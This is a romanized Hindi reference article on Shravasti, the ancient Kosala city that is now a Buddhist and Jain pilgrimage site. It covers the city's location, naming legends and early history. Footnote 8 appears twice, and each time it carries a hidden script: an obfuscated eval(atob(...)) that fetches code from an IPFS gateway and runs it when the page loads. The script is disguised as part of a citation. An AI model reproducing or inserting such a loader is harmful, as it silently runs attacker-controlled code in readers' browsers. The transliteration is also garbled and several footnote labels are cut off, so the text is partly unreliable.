श्रावस्ती

	shravasti
	prachin jain mandir ke avashesh, shravasti\|200px\|center
vivaran	bharat ke uttar pradesh rajy ke goanda-baharaich ziloan ki sima par shravasti zile mean yah bauddh evan jain tirth sthan sthit hai.
rajy	uttar pradesh
zila	shravasti
nirman kal	prachin kal se hi ramayan, mahabharat, jain, bauddh adi anek ullekh
bhaugolik sthiti	uttar- 27.517073°; poorv- 82.050619°
marg sthiti	shravasti balaramapur se 17 ki.mi., lakhanoo se 176 ki.mi., kanapur se 249 ki.mi., ilahabad se 262 ki.mi., dilli se 562 ki.mi. ki doori par hai.
prasiddhi	puravashesh. aitihasik evan pauranik sthal.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	lakhanoo havaee adda
relave steshan	balaramapur relave steshan
bas adda	mega tarminas goanda, shravasti shahar se 50 kilomitar ki doori par hai
yatayat	taiksi aur bas
kya dekhean	puravashesh
chitr:Map-icon.gif	googal manachitr
sanbandhit lekh	jetavan, shobhanath mandir, kaushal mahajanapad adi
bhasha	hindi, aangrezi aur urdoo
any janakari	'shravasti' n keval bauddh aur jain dharmoan ka ek mahattvapoorn keandr tha apitu yah brahman dharm evan ved vidya ka bhi ek mahattvapoorn keandr tha.
bahari k diyaan	adhikarik vebasait

shravasti vishay soochi

shravasti parichay sthiti namakaran vikas mahakavyoan tatha puranoan mean varnan jatakoan mean varnan bauddh sahity mean ullekh jain granthoan mean ullekh fahyan ka varnan hven tsaang ka varnan utkhanan kary sahet ka utkhanan mahet ka utkhanan

shravasti bharat ke uttar pradesh rajy ke goanda-baharaich ziloan ki sima par sthit yah jain aur bauddh ka tirth sthan hai. goanda - balaramapur se 12 mil pashchim mean adhunik 'sahet-mahet' gaanv hi shravasti hai. pahale yah kaushal desh ki doosari rajadhani thi. aisi pauranik manyata hai ki bhagavan ram ke putr lav kush ne ise apani rajadhani banaya tha. shravasti bauddh jain donoan ka tirth sthan hai, tathagat (buddh) shravasti mean rahe the, yahaan ke shreshthi 'anathapiandak' ne bhagavan buddh ke liye 'jetavan vihar' banavaya tha, ajakal yahaan bauddh dharmashala, math aur mandir hai.

parichay

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mana gaya hai ki shravasti ke sthan par aj adhunik 'sahet-mahet' gram hai, jo ek-doosare se lagabhag dedh pharlaang ke aantar par sthit haian. yah buddhakalin nagar tha, jisake bhagnavashesh uttar pradesh rajy ke, baharaich evan goanda zile ki sima par, rapti nadi ke dakshini kinare par phaile hue haian. anushrutiyoan ke anusar sooryavanshi raja shravast ke nam par is nagari ka namakaran kar shravasti nam ki sanjna di gayi, tab se ye ilaka shravasti ke nam se jana jata hai. jangaloan ke bich gufa mean rahakar rahagiroan ko lootane ke bad unaki ooangali katakar mala pahanane vale ek durdaant dakoo aangulimal ko rapti nadi ke kinare base isi sthan par bhagavan buddh ne apani ishvariy shaktiyoan ke bal par nastik se astik banakar apana anuyayi banaya tha. ye vahi ilaka hai, jahaan par gautam buddh ne apane jivan kal ke sabase jyada basant bitaye the.

sthiti

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prachin shravasti ke avashesh adhunik ‘sahet’-‘mahet’ namak sthanoan par prapt hue haian.^[1] yah nagar 27°51’ uttari akshaansh aur 82°05’ poorvi deshaantar par sthir tha.^[2] ‘sahet’ ka samikaran ‘jetavan’ se tatha ‘mahet’ ka prachin 'shravasti nagar' se kiya gaya hai. prachin tila evan bhagnavashesh goanda evan baharaich ziloan ki sima par bikhare p de haian, jahaan balaramapur steshan se pahuancha ja sakata hai. baharaich evan balaramapur se isaki doori kramash: 26 evan 10 mil hai.^[3] ajakal ‘sahet’^[4] ka bhag baharaich zile mean aur ‘mahet’ goanda zile mean p data hai. balaramapur - baharaich marg par s dak se 800 phut ki doori par ‘sahet’ sthit hai jabaki ‘mahet’ 1/3 mil ki doori par sthit hai.^[5] vianseant smith ne sarvapratham shravasti ka samikaran charada se kiya tha jo ‘sahet-mahet’ se 40 mil uttar-pashchim mean sthit hai.^[6] lekin jetavan ke utkhanan se goviand chand gah daval ke 1128 ee. ke ek abhilekh ki prapti se isaka samikaran ‘sahet-mahet’ se nishchit ho gaya hai.^[7]

namakaran

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savatthi, sanskrit shravasti ka pali aur arddhamagadhi roop hai.^[8] bauddh granthoan mean is nagar ke nam ki utpatti ke vishay mean ek any ullekh bhi milata hai. inake anusar savatth (shravast) namak ek rrishi yahaan par rahate the, jinaki b di ooanchi pratishtha thi. inhian ke nam ke adhar par is nagar ka nam shravasti p d gaya tha.

[[chitr:Jetavana-Sravasti.jpg|thumb|250px|left|khatti, shravasti]]

panini (lagabhag 500 ee.poorv) ne apane prasiddh vyakaran-granth 'ashtadhyayi' mean saf likha hai ki- "sthanoan ke nam vahaan rahane vale kisi vishesh vyakti ke nam ke adhar par p d jate the."
mahabharat ke anusar shravasti ke nam ki utpatti ka karan kuchh doosara hi tha. shravast namak ek raja huye jo ki prithu ki chhathian pidhi mean utpann huye the. vahi is nagar ke janmadata the aur unhian ke nam ke adhar par isaka nam shravasti p d gaya tha. puranoan mean shravastak nam ke sthan par shravast nam milata hai. mahabharat mean ullikhit yah parampara uparyukt any paramparaoan se kahian adhik prachin hai. atev usi ko pramanik manana uchit bat hogi. bad mean chal kar kosal ki rajadhani, ayodhya se hatakar shravasti la di gee thi aur yahi nagar kosal ka sabase pramukh nagar ban gaya.
brahman sahity, mahakavyoan evan puranoan ke anusar shravasti ka namakaran shravast ya shravastak ke nam ke adhar par hua tha. shravastak yuvanashv ka putr tha aur prithu ki chhathi pidhi mean utpann hua tha.

vikas

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hamare kuchh prachin granthoan ke anusar kosal ka yah pradhan nagar sarvada ramanik, darshaniy, manoram aur dhanadhany se sanpann tha. isamean sabhi tarah ke upakaran maujood the. isako dekhane se lagata tha, mano devapuri alakananda hi sakshat dharatal par utar aee ho. nagar ki s dakean chau di thian aur in par b di savariyaan bhali bhaanti a sakati thian. nagarik shrriangar-premi the. ve hathi, gho de aur palaki par savar hokar rajamargoan par nikala karate the. isamean rajakiy koshthagar^[9] bane huye the, jinamean ghi, tel aur khane-pine ki chizean prabhoot matra mean ekatr kar li gee thian.^[10] vahaan ke nagarik gautam buddh ke bahut b de bhakt the. 'milindaprashn' namak granth mean chadhav-badhav ke sath kaha gaya hai ki isamean bhikshuoan ki sankhya 5 karo d thi. isake alava vahaan ke tin lakh sattavan hazar grihasth bauddh dharm ko manate the. is nagar mean 'jetavan' nam ka ek udyan tha, jise vahaan ke 'jet' namak rajakumar ne aropit kiya tha. is nagar ka anathapiandak namak seth jo buddh ka priy shishy tha, is udyan ke shantimay vatavaran se b da prabhavit tha. usane ise kharid kar bauddh sangh ko dan kar diya tha.^[10] bauddh granthoan mean katha ati hai ki is pooanjipati ne jetavan ko utani mudraoan mean kharida tha

age jaean »

vithika

chitr:Anandabodhi-Tree.jpg

anandabodhi, shravasti
chitr:Jetavan-Monastery-1.jpg

jetavan math, shravasti
chitr:Jetavan-Monastery-4.jpg

jetavan math, shravasti
chitr:Jetavan-Monastery-5.jpg

jetavan math, shravasti
chitr:Jetavan-Monastery.jpg

jetavan math, shravasti

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ arkiyolajikal sarve aauf iandiya riportas, bhag 1, prishth 330; evan bhag 11, prishth 78
↑ em. veanktarammaiya, shravasti, arkiyolajikal sarve aauph iandiya, dilli 1981, prishth 1
↑ vimalacharan laha, prachin bharat ka aitihasik bhoogol, uttar pradesh hindi granth akadami, lakhanoo, 1972, prishth 210
↑ jetavan
↑ di memayars aauph d arkiyol aaujikal sarve aauph iandiya, bhag 50, dilli 1935 mean uddhrit vimalacharan laha ka lekh ‘shravasti in iandiyan litarechar’, prishth 1
↑ jarnal aauf d r aauyal eshiyatik sosaiti, 1900, prishth 9
↑ arkiyol aaujikal sarve aauf iandiya enual riportas 1907-08, prishth 131-132; vishuddhanand pathak, histri aauf koshal, motilal banarasidas, varanasi, 1963 ee., prishth 63
↑ sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kothar
↑ ^10.0 ^10.1 hamare purane nagar |lekhak: d aau. uday narayan ray |prakashak: hindustan ekedemi, ilahabad |prishth sankhya: 43-46 |

aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] rkiyolajikal sarve aauf iandiya riportas, bhag 1, prishth 330; evan bhag 11, prishth 78

[2] . veanktarammaiya, shravasti, arkiyolajikal sarve aauph iandiya, dilli 1981, prishth 1

[3] vimalacharan laha, prachin bharat ka aitihasik bhoogol, uttar pradesh hindi granth akadami, lakhanoo, 1972, prishth 210

[4] tavan

[5] yars aauph d arkiyol aaujikal sarve aauph iandiya, bhag 50, dilli 1935 mean uddhrit vimalacharan laha ka lekh ‘shravasti in iandiyan litarechar’, prishth 1

[6] rnal aauf d r aauyal eshiyatik sosaiti, 1900, prishth 9

[7] rkiyol aaujikal sarve aauf iandiya enual riportas 1907-08, prishth 131-132; vishuddhanand pathak, histri aauf koshal, motilal banarasidas, varanasi, 1963 ee., prishth 63

[.E0.A4.89.E0.A4.A4.E0.A5.8D.E0.A4.A4.E0.A4.B0_.E0.A4.AA.E0.A5.8D.E0.A4.B0.E0.A4.A6.E0.A5.87.E0.A4.B6-8] sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[9] thar

[sravasti-10] 10.0 ^10.1 hamare purane nagar |lekhak: d aau. uday narayan ray |prakashak: hindustan ekedemi, ilahabad |prishth sankhya: 43-46 |

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Accuracy	Accurate
Depth	Moderate
Readability	Good